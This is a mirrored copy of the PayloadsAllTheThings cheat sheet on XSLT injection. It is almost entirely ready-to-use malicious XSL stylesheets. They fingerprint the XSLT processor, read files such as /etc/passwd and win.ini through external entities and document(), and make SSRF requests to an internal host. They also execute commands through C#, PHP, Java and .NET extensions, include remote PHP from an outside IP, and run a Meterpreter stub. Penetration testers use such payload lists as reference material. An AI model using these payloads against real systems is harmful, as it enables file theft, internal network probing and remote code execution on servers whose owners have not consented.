mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-30 08:15:25 +00:00
215 lines
7.3 KiB
Markdown
215 lines
7.3 KiB
Markdown
# XSLT Injection
|
|
|
|
> Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
|
|
|
|
## Summary
|
|
|
|
- [Tools](#tools)
|
|
- [Exploit](#exploit)
|
|
- [Determine the vendor and version](#determine-the-vendor-and-version)
|
|
- [External Entity](#external-entity)
|
|
- [Read files and SSRF using document](#read-files-and-ssrf-using-document)
|
|
- [Remote Code Execution with Embedded Script Blocks](#remote-code-execution-with-embedded-script-blocks)
|
|
- [Remote Code Execution with PHP wrapper](#remote-code-execution-with-php-wrapper)
|
|
- [Remote Code Execution with Java](#remote-code-execution-with-java)
|
|
- [Remote Code Execution with Native .NET](#remote-code-execution-with-native-net)
|
|
- [References](#references)
|
|
|
|
## Tools
|
|
|
|
## Exploit
|
|
|
|
### Determine the vendor and version
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
<xsl:template match="/fruits">
|
|
<xsl:value-of select="system-property('xsl:vendor')"/>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
```
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
|
<body>
|
|
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
|
|
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
|
|
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
### External Entity
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
|
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
<xsl:template match="/fruits">
|
|
Fruits &ext_file;:
|
|
<!-- Loop for each fruit -->
|
|
<xsl:for-each select="fruit">
|
|
<!-- Print name: description -->
|
|
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
|
|
</xsl:for-each>
|
|
</xsl:template>
|
|
|
|
</xsl:stylesheet>
|
|
```
|
|
|
|
### Read files and SSRF using document
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="utf-8"?>
|
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
<xsl:template match="/fruits">
|
|
<xsl:copy-of select="document('http://172.16.132.1:25')"/>
|
|
<xsl:copy-of select="document('/etc/passwd')"/>
|
|
<xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
|
|
Fruits:
|
|
<!-- Loop for each fruit -->
|
|
<xsl:for-each select="fruit">
|
|
<!-- Print name: description -->
|
|
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
|
|
</xsl:for-each>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
```
|
|
|
|
### Remote Code Execution with Embedded Script Blocks
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
|
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
|
|
xmlns:user="urn:my-scripts">
|
|
|
|
<msxsl:script language = "C#" implements-prefix = "user">
|
|
<![CDATA[
|
|
public string execute(){
|
|
System.Diagnostics.Process proc = new System.Diagnostics.Process();
|
|
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
|
|
proc.StartInfo.RedirectStandardOutput = true;
|
|
proc.StartInfo.UseShellExecute = false;
|
|
proc.StartInfo.Arguments = "/c dir";
|
|
proc.Start();
|
|
proc.WaitForExit();
|
|
return proc.StandardOutput.ReadToEnd();
|
|
}
|
|
]]>
|
|
</msxsl:script>
|
|
|
|
<xsl:template match="/fruits">
|
|
--- BEGIN COMMAND OUTPUT ---
|
|
<xsl:value-of select="user:execute()"/>
|
|
--- END COMMAND OUTPUT ---
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
```
|
|
|
|
### Remote Code Execution with PHP wrapper
|
|
|
|
Execute the function `readfile`.
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
|
<body>
|
|
<xsl:value-of select="php:function('readfile','index.php')" />
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
Execute the function `scandir`.
|
|
|
|
```xml
|
|
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
|
|
<xsl:template match="/">
|
|
<xsl:value-of name="assert" select="php:function('scandir', '.')"/>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
```
|
|
|
|
Execute a remote php file using `assert`
|
|
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
|
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
|
<xsl:variable name="payload">
|
|
include("http://10.10.10.10/test.php")
|
|
</xsl:variable>
|
|
<xsl:variable name="include" select="php:function('assert',$payload)"/>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
Execute a PHP meterpreter using PHP wrapper.
|
|
|
|
```xml
|
|
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
|
|
<xsl:template match="/">
|
|
<xsl:variable name="eval">
|
|
eval(base64_decode('Base64-encoded Meterpreter code'))
|
|
</xsl:variable>
|
|
<xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
```
|
|
|
|
### Remote Code Execution with Java
|
|
|
|
```xml
|
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
|
|
<xsl:template match="/">
|
|
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
|
|
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
|
|
<xsl:variable name="processString" select="ob:toString($process)"/>
|
|
<xsl:value-of select="$processString"/>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
```
|
|
|
|
```xml
|
|
<xml version="1.0"?>
|
|
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
|
|
<xsl:template match="/">
|
|
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
|
|
</xsl:template>.
|
|
</xsl:stylesheet>
|
|
```
|
|
|
|
### Remote Code Execution with Native .NET
|
|
|
|
```xml
|
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
|
|
<msxsl:script implements-prefix="App" language="C#">
|
|
<![CDATA[
|
|
public string ToShortDateString(string date)
|
|
{
|
|
System.Diagnostics.Process.Start("cmd.exe");
|
|
return "01/01/2001";
|
|
}
|
|
]]>
|
|
</msxsl:script>
|
|
<xsl:template match="ArrayOfTest">
|
|
<TABLE>
|
|
<xsl:for-each select="Test">
|
|
<TR>
|
|
<TD>
|
|
<xsl:value-of select="App:ToShortDateString(TestDate)" />
|
|
</TD>
|
|
</TR>
|
|
</xsl:for-each>
|
|
</TABLE>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
```
|
|
|
|
## References
|
|
|
|
* [From XSLT code execution to Meterpreter shells - 02 July 2012 - @agarri](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)
|
|
* [XSLT Injection - Fortify](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
|
* [XSLT Injection Basics - Saxon](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/) |